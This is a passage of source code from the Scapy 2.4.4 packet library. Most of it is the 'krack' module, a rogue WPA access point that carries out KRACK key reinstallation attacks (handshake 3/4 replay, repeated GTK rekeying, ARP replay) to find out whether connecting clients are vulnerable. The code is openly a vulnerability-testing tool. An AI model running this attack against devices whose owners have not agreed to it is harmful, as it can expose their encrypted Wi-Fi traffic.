", ] # Used on mini screens the_logo_mini = [ " .SYPACCCSASYY ", "P /SCS/CCS ACS", " /A AC", " A/PS /SPPS", " YP (SC", " SPS/A. SC", " Y/PACC PP", " PY*AYC CAA", " YYCY//SCYP ", ] the_banner = [ "", "", " |", " | Welcome to Scapy", " | Version %s" % conf.version, " |", " | https://github.com/secdev/scapy", " |", " | Have fun!", " |", ] if mini_banner: the_logo = the_logo_mini the_banner = [x[2:] for x in the_banner[3:-1]] the_banner = [""] + the_banner + [""] else: quote, author = choice(QUOTES) the_banner.extend(_prepare_quote(quote, author, max_len=39)) the_banner.append(" |") banner_text = "\n".join( logo + banner for logo, banner in six.moves.zip_longest( (conf.color_theme.logo(line) for line in the_logo), (conf.color_theme.success(line) for line in the_banner), fillvalue="" ) ) else: banner_text = "Welcome to Scapy (%s)" % conf.version if mybanner is not None: banner_text += "\n" banner_text += mybanner if IPYTHON: banner = banner_text + " using IPython %s\n" % IPython.__version__ try: from traitlets.config.loader import Config except ImportError: log_loading.warning( "traitlets not available. Some Scapy shell features won't be " "available." ) try: start_ipython( display_banner=False, user_ns=SESSION, exec_lines=["print(\"\"\"" + banner + "\"\"\")"] ) except Exception: code.interact(banner=banner_text, local=SESSION) else: cfg = Config() try: from IPython import get_ipython if not get_ipython(): raise ImportError except ImportError: # Set "classic" prompt style when launched from # run_scapy(.bat) files Register and apply scapy # color+prompt style apply_ipython_style(shell=cfg.TerminalInteractiveShell) cfg.TerminalInteractiveShell.confirm_exit = False cfg.TerminalInteractiveShell.separate_in = u'' if int(IPython.__version__[0]) >= 6: cfg.TerminalInteractiveShell.term_title_format = ("Scapy v%s" % conf.version) # As of IPython 6-7, the jedi completion module is a dumpster # of fire that should be scrapped never to be seen again. cfg.Completer.use_jedi = False else: cfg.TerminalInteractiveShell.term_title = False cfg.HistoryAccessor.hist_file = conf.histfile cfg.InteractiveShell.banner1 = banner # configuration can thus be specified here. try: start_ipython(config=cfg, user_ns=SESSION) except (AttributeError, TypeError): code.interact(banner=banner_text, local=SESSION) else: code.interact(banner=banner_text, local=SESSION) if conf.session: save_session(conf.session, SESSION) for k in GLOBKEYS: try: del(six.moves.builtins.__dict__[k]) except Exception: pass if __name__ == "__main__": interact() scapy-2.4.4/scapy/modules/000077500000000000000000000000001372370053500154345ustar00rootroot00000000000000scapy-2.4.4/scapy/modules/__init__.py000066400000000000000000000004121372370053500175420ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Package of extension modules that have to be loaded explicitly. """ scapy-2.4.4/scapy/modules/krack/000077500000000000000000000000001372370053500165275ustar00rootroot00000000000000scapy-2.4.4/scapy/modules/krack/__init__.py000066400000000000000000000023651372370053500206460ustar00rootroot00000000000000"""Module implementing Krack Attack on client, as a custom WPA Access Point Requires the python cryptography package v1.7+. See https://cryptography.io/ More details on the attack can be found on https://www.krackattacks.com/ Example of use (from the scapy shell): >>> load_module("krack") >>> KrackAP( iface="mon0", # A monitor interface ap_mac='11:22:33:44:55:66', # MAC (BSSID) to use ssid="TEST_KRACK", # SSID passphrase="testtest", # Associated passphrase ).run() Then, on the target device, connect to "TEST_KRACK" using "testtest" as the passphrase. The output logs will indicate if one of the vulnerability have been triggered. Outputs for vulnerable devices: - IV re-use!! Client seems to be vulnerable to handshake 3/4 replay (CVE-2017-13077) - Broadcast packet accepted twice!! (CVE-2017-13080) - Client has installed an all zero encryption key (TK)!! For patched devices: - Client is likely not vulnerable to CVE-2017-13080 """ from scapy.config import conf if conf.crypto_valid: from scapy.modules.krack.automaton import KrackAP # noqa: F401 else: raise ImportError("Cannot import Krack module due to missing dependency. " "Please install python{3}-cryptography v1.7+.") scapy-2.4.4/scapy/modules/krack/automaton.py000066400000000000000000000743551372370053500211260ustar00rootroot00000000000000import hmac import hashlib from itertools import count import struct import time from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC from cryptography.hazmat.backends import default_backend from scapy.automaton import ATMT, Automaton from scapy.base_classes import Net from scapy.config import conf from scapy.compat import raw, chb from scapy.consts import LINUX from scapy.error import log_runtime from scapy.layers.dot11 import ( AKMSuite, Dot11, Dot11AssoReq, Dot11AssoResp, Dot11Auth, Dot11Beacon, Dot11Elt, Dot11EltDSSSet, Dot11EltRSN, Dot11EltRates, Dot11ProbeReq, Dot11ProbeResp, RSNCipherSuite, RadioTap, ) from scapy.layers.eap import EAPOL from scapy.layers.l2 import ARP, LLC, SNAP, Ether from scapy.layers.dhcp import DHCP_am from scapy.packet import Raw from scapy.utils import hexdump, mac2str from scapy.volatile import RandBin from scapy.modules.krack.crypto import parse_data_pkt, parse_TKIP_hdr, \ build_TKIP_payload, check_MIC_ICV, MICError, ICVError, build_MIC_ICV, \ customPRF512, ARC4_encrypt class DHCPOverWPA(DHCP_am): """Wrapper over DHCP_am to send and recv inside a WPA channel""" def __init__(self, send_func, *args, **kwargs): super(DHCPOverWPA, self).__init__(*args, **kwargs) self.send_function = send_func def sniff(self, *args, **kwargs): # Do not sniff, use a direct call to 'replay(pkt)' instead return class KrackAP(Automaton): """Tiny WPA AP for detecting client vulnerable to KRACK attacks defined in: "Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2" Example of use: KrackAP( iface="mon0", # A monitor interface ap_mac='11:22:33:44:55:66', # MAC to use ssid="TEST_KRACK", # SSID passphrase="testtest", # Associated passphrase ).run() Then, on the target device, connect to "TEST_KRACK" using "testtest" as the passphrase. The output logs will indicate if one of the CVE have been triggered. """ # Number of "GTK rekeying -> ARP replay" attempts. The vulnerability may not # noqa: E501 # be detected the first time. Several attempt implies the client has been # likely patched ARP_MAX_RETRY = 50 def __init__(self, *args, **kargs): kargs.setdefault("ll", conf.L2socket) if not LINUX: kargs.setdefault("monitor", True) super(KrackAP, self).__init__(*args, **kargs) def parse_args(self, ap_mac, ssid, passphrase, channel=None, # KRACK attack options double_3handshake=True, encrypt_3handshake=True, wait_3handshake=0, double_gtk_refresh=True, arp_target_ip=None, arp_source_ip=None, wait_gtk=10, **kwargs): """ Mandatory arguments: :param iface: interface to use (must be in monitor mode) :param ap_mac: AP's MAC :param ssid: AP's SSID :param passphrase: AP's Passphrase (min 8 char.) Optional arguments: :param channel: used by the interface. Default 6 Krack attacks options: - Msg 3/4 handshake replay: :param double_3handshake: double the 3/4 handshake message :param encrypt_3handshake: encrypt the second 3/4 handshake message :param wait_3handshake: time to wait (in sec.) before sending the second 3/4 - double GTK rekeying: :param double_gtk_refresh: double the 1/2 GTK rekeying message :param wait_gtk: time to wait (in sec.) before sending the GTK rekeying :param arp_target_ip: Client IP to use in ARP req. (to detect attack success). If None, use a DHCP server :param arp_source_ip: Server IP to use in ARP req. (to detect attack success). If None, use the DHCP server gateway address """ super(KrackAP, self).parse_args(**kwargs) # Main AP options self.mac = ap_mac self.ssid = ssid self.passphrase = passphrase if channel is None: channel = 6 self.channel = channel # Internal structures self.last_iv = None self.client = None self.seq_num = count() self.replay_counter = count() self.time_handshake_end = None self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa, pool=Net("192.168.42.128/25"), network="192.168.42.0/24", gw="192.168.42.1") self.arp_sent = [] self.arp_to_send = 0 self.arp_retry = 0 # Bit 0: 3way handshake sent # Bit 1: GTK rekeying sent # Bit 2: ARP response obtained self.krack_state = 0 # Krack options self.double_3handshake = double_3handshake self.encrypt_3handshake = encrypt_3handshake self.wait_3handshake = wait_3handshake self.double_gtk_refresh = double_gtk_refresh self.arp_target_ip = arp_target_ip if arp_source_ip is None: # Use the DHCP server Gateway address arp_source_ip = self.dhcp_server.gw self.arp_source_ip = arp_source_ip self.wait_gtk = wait_gtk # May take several seconds self.install_PMK() def run(self, *args, **kwargs): log_runtime.warning("AP started with ESSID: %s, BSSID: %s", self.ssid, self.mac) super(KrackAP, self).run(*args, **kwargs) # Key utils @staticmethod def gen_nonce(size): """Return a nonce of @size element of random bytes as a string""" return raw(RandBin(size)) def install_PMK(self): """Compute and install the PMK""" self.pmk = PBKDF2HMAC( algorithm=hashes.SHA1(), length=32, salt=self.ssid.encode(), iterations=4096, backend=default_backend(), ).derive(self.passphrase.encode()) def install_unicast_keys(self, client_nonce): """Use the client nonce @client_nonce to compute and install PTK, KCK, KEK, TK, MIC (AP -> STA), MIC (STA -> AP) """ pmk = self.pmk anonce = self.anonce snonce = client_nonce amac = mac2str(self.mac) smac = mac2str(self.client) # Compute PTK self.ptk = customPRF512(pmk, amac, smac, anonce, snonce) # Extract derivated keys self.kck = self.ptk[:16] self.kek = self.ptk[16:32] self.tk = self.ptk[32:48] self.mic_ap_to_sta = self.ptk[48:56] self.mic_sta_to_ap = self.ptk[56:64] # Reset IV self.client_iv = count() def install_GTK(self): """Compute a new GTK and install it alongs MIC (AP -> Group = broadcast + multicast) """ # Compute GTK self.gtk_full = self.gen_nonce(32) self.gtk = self.gtk_full[:16] # Extract derivated keys self.mic_ap_to_group = self.gtk_full[16:24] # Reset IV self.group_iv = count() # Packet utils def build_ap_info_pkt(self, layer_cls, dest): """Build a packet with info describing the current AP For beacon / proberesp use """ ts = int(time.time() * 1e6) & 0xffffffffffffffff return RadioTap() \ / Dot11(addr1=dest, addr2=self.mac, addr3=self.mac) \ / layer_cls(timestamp=ts, beacon_interval=100, cap='ESS+privacy') \ / Dot11Elt(ID="SSID", info=self.ssid) \ / Dot11EltRates(rates=[130, 132, 139, 150, 12, 18, 24, 36]) \ / Dot11EltDSSSet(channel=self.channel) \ / Dot11EltRSN(group_cipher_suite=RSNCipherSuite(cipher=0x2), pairwise_cipher_suites=[RSNCipherSuite(cipher=0x2)], akm_suites=[AKMSuite(suite=0x2)]) @staticmethod def build_EAPOL_Key_8021X2004( key_information, replay_counter, nonce, data=None, key_mic=None, key_data_encrypt=None, key_rsc=0, key_id=0, key_descriptor_type=2, # EAPOL RSN Key ): pkt = EAPOL(version="802.1X-2004", type="EAPOL-Key") key_iv = KrackAP.gen_nonce(16) assert key_rsc == 0 # Other values unsupported assert key_id == 0 # Other values unsupported payload = b"".join([ chb(key_descriptor_type), struct.pack(">H", key_information), b'\x00\x20', # Key length struct.pack(">Q", replay_counter), nonce, key_iv, struct.pack(">Q", key_rsc), struct.pack(">Q", key_id), ]) # MIC field is set to 0's during MIC computation offset_MIC = len(payload) payload += b'\x00' * 0x10 if data is None and key_mic is None and key_data_encrypt is None: # If key is unknown and there is no data, no MIC is needed # Example: handshake 1/4 payload += b'\x00' * 2 # Length return pkt / Raw(load=payload) assert data is not None assert key_mic is not None assert key_data_encrypt is not None # Skip 256 first bytes # REF: 802.11i 8.5.2 # Key Descriptor Version 1: # ... # No padding shall be used. The encryption key is generated by # concatenating the EAPOL-Key IV field and the KEK. The first 256 octets # noqa: E501 # of the RC4 key stream shall be discarded following RC4 stream cipher # initialization with the KEK, and encryption begins using the 257th key # noqa: E501 # stream octet. enc_data = ARC4_encrypt(key_iv + key_data_encrypt, data, skip=256) payload += struct.pack(">H", len(data)) payload += enc_data # Compute MIC and set at the right place temp_mic = pkt.copy() temp_mic /= Raw(load=payload) to_mic = raw(temp_mic[EAPOL]) mic = hmac.new(key_mic, to_mic, hashlib.md5).digest() final_payload = payload[:offset_MIC] + mic + payload[offset_MIC + len(mic):] # noqa: E501 assert len(final_payload) == len(payload) return pkt / Raw(load=final_payload) def build_GTK_KDE(self): """Build the Key Data Encapsulation for GTK KeyID: 0 Ref: 802.11i p81 """ return b''.join([ b'\xdd', # Type KDE chb(len(self.gtk_full) + 6), b'\x00\x0f\xac', # OUI b'\x01', # GTK KDE b'\x00\x00', # KeyID - Tx - Reserved x2 self.gtk_full, ]) def send_wpa_enc(self, data, iv, seqnum, dest, mic_key, key_idx=0, additionnal_flag=["from-DS"], encrypt_key=None): """Send an encrypted packet with content @data, using IV @iv, sequence number @seqnum, MIC key @mic_key """ if encrypt_key is None: encrypt_key = self.tk rep = RadioTap() rep /= Dot11( addr1=dest, addr2=self.mac, addr3=self.mac, FCfield="+".join(['protected'] + additionnal_flag), SC=(next(self.seq_num) << 4), subtype=0, type="Data", ) # Assume packet is send by our AP -> use self.mac as source # Encapsule in TKIP with MIC Michael and ICV data_to_enc = build_MIC_ICV(raw(data), mic_key, self.mac, dest) # Header TKIP + payload rep /= Raw(build_TKIP_payload(data_to_enc, iv, self.mac, encrypt_key)) self.send(rep) return rep def send_wpa_to_client(self, data, **kwargs): kwargs.setdefault("encrypt_key", self.tk) return self.send_wpa_enc(data, next(self.client_iv), next(self.seq_num), self.client, self.mic_ap_to_sta, **kwargs) def send_wpa_to_group(self, data, dest="ff:ff:ff:ff:ff:ff", **kwargs): kwargs.setdefault("encrypt_key", self.gtk) return self.send_wpa_enc(data, next(self.group_iv), next(self.seq_num), dest, self.mic_ap_to_group, **kwargs) def send_ether_over_wpa(self, pkt, **kwargs): """Send an Ethernet packet using the WPA channel Extra arguments will be ignored, and are just left for compatibility """ payload = LLC() / SNAP() / pkt[Ether].payload dest = pkt.dst if dest == "ff:ff:ff:ff:ff:ff": self.send_wpa_to_group(payload, dest) else: assert dest == self.client self.send_wpa_to_client(payload) def deal_common_pkt(self, pkt): # Send to DHCP server # LLC / SNAP to Ether if SNAP in pkt: ether_pkt = Ether(src=self.client, dst=self.mac) / pkt[SNAP].payload # noqa: E501 self.dhcp_server.reply(ether_pkt) # If an ARP request is made, extract client IP and answer if ARP in pkt and \ pkt[ARP].op == 1 and pkt[ARP].pdst == self.dhcp_server.gw: if self.arp_target_ip is None: self.arp_target_ip = pkt[ARP].psrc log_runtime.info("Detected IP: %s", self.arp_target_ip) # Reply ARP_ans = LLC() / SNAP() / ARP( op="is-at", psrc=self.arp_source_ip, pdst=self.arp_target_ip, hwsrc=self.mac, hwdst=self.client, ) self.send_wpa_to_client(ARP_ans) # States @ATMT.state(initial=True) def WAIT_AUTH_REQUEST(self): log_runtime.debug("State WAIT_AUTH_REQUEST") @ATMT.state() def AUTH_RESPONSE_SENT(self): log_runtime.debug("State AUTH_RESPONSE_SENT") @ATMT.state() def ASSOC_RESPONSE_SENT(self): log_runtime.debug("State ASSOC_RESPONSE_SENT") @ATMT.state() def WPA_HANDSHAKE_STEP_1_SENT(self): log_runtime.debug("State WPA_HANDSHAKE_STEP_1_SENT") @ATMT.state() def WPA_HANDSHAKE_STEP_3_SENT(self): log_runtime.debug("State WPA_HANDSHAKE_STEP_3_SENT") @ATMT.state() def KRACK_DISPATCHER(self): log_runtime.debug("State KRACK_DISPATCHER") @ATMT.state() def ANALYZE_DATA(self): log_runtime.debug("State ANALYZE_DATA") @ATMT.timeout(ANALYZE_DATA, 1) def timeout_analyze_data(self): raise self.KRACK_DISPATCHER() @ATMT.state() def RENEW_GTK(self): log_runtime.debug("State RENEW_GTK") @ATMT.state() def WAIT_GTK_ACCEPT(self): log_runtime.debug("State WAIT_GTK_ACCEPT") @ATMT.state() def WAIT_ARP_REPLIES(self): log_runtime.debug("State WAIT_ARP_REPLIES") @ATMT.state(final=1) def EXIT(self): log_runtime.debug("State EXIT") @ATMT.timeout(WAIT_GTK_ACCEPT, 1) def timeout_wait_gtk_accept(self): raise self.RENEW_GTK() @ATMT.timeout(WAIT_AUTH_REQUEST, 0.1) def timeout_waiting(self): raise self.WAIT_AUTH_REQUEST() @ATMT.action(timeout_waiting) def send_beacon(self): log_runtime.debug("Send a beacon") rep = self.build_ap_info_pkt(Dot11Beacon, dest="ff:ff:ff:ff:ff:ff") self.send(rep) @ATMT.receive_condition(WAIT_AUTH_REQUEST) def probe_request_received(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return if Dot11ProbeReq in pkt and pkt[Dot11Elt::{'ID': 0}].info == self.ssid: raise self.WAIT_AUTH_REQUEST().action_parameters(pkt) @ATMT.action(probe_request_received) def send_probe_response(self, pkt): rep = self.build_ap_info_pkt(Dot11ProbeResp, dest=pkt.addr2) self.send(rep) @ATMT.receive_condition(WAIT_AUTH_REQUEST) def authent_received(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return if Dot11Auth in pkt and pkt.addr1 == pkt.addr3 == self.mac: raise self.AUTH_RESPONSE_SENT().action_parameters(pkt) @ATMT.action(authent_received) def send_auth_response(self, pkt): # Save client MAC for later self.client = pkt.addr2 log_runtime.warning("Client %s connected!", self.client) # Launch DHCP Server self.dhcp_server() rep = RadioTap() rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac) rep /= Dot11Auth(seqnum=2, algo=pkt[Dot11Auth].algo, status=pkt[Dot11Auth].status) self.send(rep) @ATMT.receive_condition(AUTH_RESPONSE_SENT) def assoc_received(self, pkt): if Dot11AssoReq in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ pkt[Dot11Elt::{'ID': 0}].info == self.ssid: raise self.ASSOC_RESPONSE_SENT().action_parameters(pkt) @ATMT.action(assoc_received) def send_assoc_response(self, pkt): # Get RSN info temp_pkt = pkt[Dot11Elt::{"ID": 48}].copy() temp_pkt.remove_payload() self.RSN = raw(temp_pkt) # Avoid 802.11w, etc. (deactivate RSN capabilities) self.RSN = self.RSN[:-2] + b"\x00\x00" rep = RadioTap() rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac) rep /= Dot11AssoResp() rep /= Dot11EltRates(rates=[130, 132, 139, 150, 12, 18, 24, 36]) self.send(rep) @ATMT.condition(ASSOC_RESPONSE_SENT) def assoc_sent(self): raise self.WPA_HANDSHAKE_STEP_1_SENT() @ATMT.action(assoc_sent) def send_wpa_handshake_1(self): self.anonce = self.gen_nonce(32) rep = RadioTap() rep /= Dot11( addr1=self.client, addr2=self.mac, addr3=self.mac, FCfield='from-DS', SC=(next(self.seq_num) << 4), ) rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication rep /= self.build_EAPOL_Key_8021X2004( key_information=0x89, replay_counter=next(self.replay_counter), nonce=self.anonce, ) self.send(rep) @ATMT.receive_condition(WPA_HANDSHAKE_STEP_1_SENT) def wpa_handshake_1_sent(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ pkt[EAPOL].load[1:2] == b"\x01": # Key MIC: set, Secure / Error / Request / Encrypted / SMK # message: not set raise self.WPA_HANDSHAKE_STEP_3_SENT().action_parameters(pkt) @ATMT.action(wpa_handshake_1_sent) def send_wpa_handshake_3(self, pkt): # Both nonce have been exchanged, install keys client_nonce = pkt[EAPOL].load[13:13 + 0x20] self.install_unicast_keys(client_nonce) # Check client MIC # Data: full message with MIC place replaced by 0s # https://stackoverflow.com/questions/15133797/creating-wpa-message-integrity-code-mic-with-python client_mic = pkt[EAPOL].load[77:77 + 16] client_data = raw(pkt[EAPOL]).replace(client_mic, b"\x00" * len(client_mic)) # noqa: E501 assert hmac.new(self.kck, client_data, hashlib.md5).digest() == client_mic # noqa: E501 rep = RadioTap() rep /= Dot11( addr1=self.client, addr2=self.mac, addr3=self.mac, FCfield='from-DS', SC=(next(self.seq_num) << 4), ) rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication self.install_GTK() data = self.RSN data += self.build_GTK_KDE() eap = self.build_EAPOL_Key_8021X2004( key_information=0x13c9, replay_counter=next(self.replay_counter), nonce=self.anonce, data=data, key_mic=self.kck, key_data_encrypt=self.kek, ) self.send(rep / eap) @ATMT.receive_condition(WPA_HANDSHAKE_STEP_3_SENT) def wpa_handshake_3_sent(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ pkt[EAPOL].load[1:3] == b"\x03\x09": self.time_handshake_end = time.time() raise self.KRACK_DISPATCHER() @ATMT.condition(KRACK_DISPATCHER) def krack_dispatch(self): now = time.time() # Handshake 3/4 replay if self.double_3handshake and (self.krack_state & 1 == 0) and \ (now - self.time_handshake_end) > self.wait_3handshake: log_runtime.info("Trying to trigger CVE-2017-13077") raise self.ANALYZE_DATA().action_parameters(send_3handshake=True) # GTK rekeying if (self.krack_state & 2 == 0) and \ (now - self.time_handshake_end) > self.wait_gtk: raise self.ANALYZE_DATA().action_parameters(send_gtk=True) # Fallback in data analysis raise self.ANALYZE_DATA().action_parameters() @ATMT.action(krack_dispatch) def krack_proceed(self, send_3handshake=False, send_gtk=False): if send_3handshake: rep = RadioTap() rep /= Dot11( addr1=self.client, addr2=self.mac, addr3=self.mac, FCfield='from-DS', SC=(next(self.seq_num) << 4), subtype=0, type="Data", ) rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication data = self.RSN data += self.build_GTK_KDE() eap_2 = self.build_EAPOL_Key_8021X2004( # Key information 0x13c9: # ARC4 HMAC-MD5, Pairwise Key, Install, KEY ACK, KEY MIC, Secure, # noqa: E501 # Encrypted, SMK key_information=0x13c9, replay_counter=next(self.replay_counter), nonce=self.anonce, data=data, key_mic=self.kck, key_data_encrypt=self.kek, ) rep /= eap_2 if self.encrypt_3handshake: self.send_wpa_to_client(rep[LLC]) else: self.send(rep) self.krack_state |= 1 if send_gtk: self.krack_state |= 2 # Renew the GTK self.install_GTK() raise self.RENEW_GTK() @ATMT.receive_condition(ANALYZE_DATA) def get_data(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return # Skip retries if pkt[Dot11].FCfield.retry: return # Skip unencrypted frames (TKIP rely on encrypted packets) if not pkt[Dot11].FCfield.protected: return # Dot11.type 2: Data if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac: # Do not check pkt.addr3, frame can be broadcast raise self.KRACK_DISPATCHER().action_parameters(pkt) @ATMT.action(get_data) def extract_iv(self, pkt): # Get IV TSC, _, _ = parse_TKIP_hdr(pkt) iv = TSC[0] | (TSC[1] << 8) | (TSC[2] << 16) | (TSC[3] << 24) | \ (TSC[4] << 32) | (TSC[5] << 40) log_runtime.info("Got a packet with IV: %s", hex(iv)) if self.last_iv is None: self.last_iv = iv else: if iv <= self.last_iv: log_runtime.warning("IV re-use!! Client seems to be " "vulnerable to handshake 3/4 replay " "(CVE-2017-13077)" ) data_clear = None # Normal decoding data = parse_data_pkt(pkt, self.tk) try: data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, pkt.addr3) except (ICVError, MICError): pass # Decoding with a 0's TK if data_clear is None: data = parse_data_pkt(pkt, b"\x00" * len(self.tk)) try: mic_key = b"\x00" * len(self.mic_sta_to_ap) data_clear = check_MIC_ICV(data, mic_key, pkt.addr2, pkt.addr3) log_runtime.warning("Client has installed an all zero " "encryption key (TK)!!") except (ICVError, MICError): pass if data_clear is None: log_runtime.warning("Unable to decode the packet, something went " "wrong") log_runtime.debug(hexdump(pkt, dump=True)) self.deal_common_pkt(pkt) return log_runtime.debug(hexdump(data_clear, dump=True)) pkt = LLC(data_clear) log_runtime.debug(repr(pkt)) self.deal_common_pkt(pkt) @ATMT.condition(RENEW_GTK) def gtk_pkt_1(self): raise self.WAIT_GTK_ACCEPT() @ATMT.action(gtk_pkt_1) def send_renew_gtk(self): rep_to_enc = LLC(dsap=0xaa, ssap=0xaa, ctrl=3) rep_to_enc /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication data = self.build_GTK_KDE() eap = self.build_EAPOL_Key_8021X2004( # Key information 0x1381: # ARC4 HMAC-MD5, Group Key, KEY ACK, KEY MIC, Secure, Encrypted, # SMK key_information=0x1381, replay_counter=next(self.replay_counter), nonce=self.anonce, data=data, key_mic=self.kck, key_data_encrypt=self.kek, ) rep_to_enc /= eap self.send_wpa_to_client(rep_to_enc) @ATMT.receive_condition(WAIT_GTK_ACCEPT) def get_gtk_2(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return # Skip retries if pkt[Dot11].FCfield.retry: return # Skip unencrypted frames (TKIP rely on encrypted packets) if not pkt[Dot11].FCfield.protected: return # Normal decoding try: data = parse_data_pkt(pkt, self.tk) except ValueError: return try: data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, pkt.addr3) except (ICVError, MICError): return pkt_clear = LLC(data_clear) if EAPOL in pkt_clear and pkt.addr1 == pkt.addr3 == self.mac and \ pkt_clear[EAPOL].load[1:3] == b"\x03\x01": raise self.WAIT_ARP_REPLIES() @ATMT.action(get_gtk_2) def send_arp_req(self): if self.krack_state & 4 == 0: # Set the address for future uses self.arp_target_ip = self.dhcp_server.leases.get(self.client, self.arp_target_ip) # noqa: E501 assert self.arp_target_ip is not None # Send the first ARP requests, for control test log_runtime.info("Send ARP who-was from '%s' to '%s'", self.arp_source_ip, self.arp_target_ip) arp_pkt = self.send_wpa_to_group( LLC() / SNAP() / ARP(op="who-has", psrc=self.arp_source_ip, pdst=self.arp_target_ip, hwsrc=self.mac), dest='ff:ff:ff:ff:ff:ff', ) self.arp_sent.append(arp_pkt) else: if self.arp_to_send < len(self.arp_sent): # Re-send the ARP requests already sent self.send(self.arp_sent[self.arp_to_send]) self.arp_to_send += 1 else: # Re-send GTK self.arp_to_send = 0 self.arp_retry += 1 log_runtime.info("Trying to trigger CVE-2017-13080 %d/%d", self.arp_retry, self.ARP_MAX_RETRY) if self.arp_retry > self.ARP_MAX_RETRY: # We retries 100 times to send GTK, then already sent ARPs log_runtime.warning("Client is likely not vulnerable to " "CVE-2017-13080") raise self.EXIT() raise self.RENEW_GTK() @ATMT.timeout(WAIT_ARP_REPLIES, 0.5) def resend_arp_req(self): self.send_arp_req() raise self.WAIT_ARP_REPLIES() @ATMT.receive_condition(WAIT_ARP_REPLIES) def get_arp(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return # Skip retries if pkt[Dot11].FCfield.retry: return # Skip unencrypted frames (TKIP rely on encrypted packets) if not pkt[Dot11].FCfield.protected: return # Dot11.type 2: Data if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac: # Do not check pkt.addr3, frame can be broadcast raise self.WAIT_ARP_REPLIES().action_parameters(pkt) @ATMT.action(get_arp) def check_arp_reply(self, pkt): data = parse_data_pkt(pkt, self.tk) try: data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, pkt.addr3) except (ICVError, MICError): return decoded_pkt = LLC(data_clear) log_runtime.debug(hexdump(decoded_pkt, dump=True)) log_runtime.debug(repr(decoded_pkt)) self.deal_common_pkt(decoded_pkt) if ARP not in decoded_pkt: return # ARP.op 2: is-at if decoded_pkt[ARP].op == 2 and \ decoded_pkt[ARP].psrc == self.arp_target_ip and \ decoded_pkt[ARP].pdst == self.arp_source_ip: # Got the expected ARP if self.krack_state & 4 == 0: # First time, normal behavior log_runtime.info("Got ARP reply, this is normal") self.krack_state |= 4 log_runtime.info("Trying to trigger CVE-2017-13080") raise self.RENEW_GTK() else: # Second time, the packet has been accepted twice! log_runtime.warning("Broadcast packet accepted twice!! " "(CVE-2017-13080)") scapy-2.4.4/scapy/modules/krack/crypto.py000066400000000000000000000315771372370053500204360ustar00rootroot00000000000000import hashlib import hmac from struct import unpack, pack from zlib import crc32 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms from cryptography.hazmat.backends import default_backend import scapy.modules.six as six from scapy.modules.six.moves import range from scapy.compat import orb, chb from scapy.layers.dot11 import Dot11TKIP from scapy.utils import mac2str # ARC4 def ARC4_encrypt(key, data, skip=0): """Encrypt data @data with key @key, skipping @skip first bytes of the keystream""" algorithm = algorithms.ARC4(key) cipher = Cipher(algorithm, mode=None, backend=default_backend()) encryptor = cipher.encryptor() if skip: encryptor.update(b"\x00" * skip) return encryptor.update(data) def ARC4_decrypt(key, data, skip=0): """Decrypt data @data with key @key, skipping @skip first bytes of the keystream""" return ARC4_encrypt(key, data, skip) # Custom WPA PseudoRandomFunction def customPRF512(key, amac, smac, anonce, snonce): """Source https://stackoverflow.com/questions/12018920/""" A = b"Pairwise key expansion" B = b"".join(sorted([amac, smac]) + sorted([anonce, snonce])) blen = 64 i = 0 R = b'' while i <= ((blen * 8 + 159) // 160): hmacsha1 = hmac.new(key, A + chb(0x00) + B + chb(i), hashlib.sha1) i += 1 R = R + hmacsha1.digest() return R[:blen] # TKIP - WEPSeed generation # Tested against pyDot11: tkip.py # 802.11i p.53-54 _SBOXS = [ [ 0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154, 0x6050, 0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A, 0x8F45, 0x1F9D, 0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B, 0x41EC, 0xB367, 0x5FFD, 0x45EA, 0x23BF, 0x53F7, 0xE496, 0x9B5B, 0x75C2, 0xE11C, 0x3DAE, 0x4C6A, 0x6C5A, 0x7E41, 0xF502, 0x834F, 0x685C, 0x51F4, 0xD134, 0xF908, 0xE293, 0xAB73, 0x6253, 0x2A3F, 0x080C, 0x9552, 0x4665, 0x9D5E, 0x3028, 0x37A1, 0x0A0F, 0x2FB5, 0x0E09, 0x2436, 0x1B9B, 0xDF3D, 0xCD26, 0x4E69, 0x7FCD, 0xEA9F, 0x121B, 0x1D9E, 0x5874, 0x342E, 0x362D, 0xDCB2, 0xB4EE, 0x5BFB, 0xA4F6, 0x764D, 0xB761, 0x7DCE, 0x527B, 0xDD3E, 0x5E71, 0x1397, 0xA6F5, 0xB968, 0x0000, 0xC12C, 0x4060, 0xE31F, 0x79C8, 0xB6ED, 0xD4BE, 0x8D46, 0x67D9, 0x724B, 0x94DE, 0x98D4, 0xB0E8, 0x854A, 0xBB6B, 0xC52A, 0x4FE5, 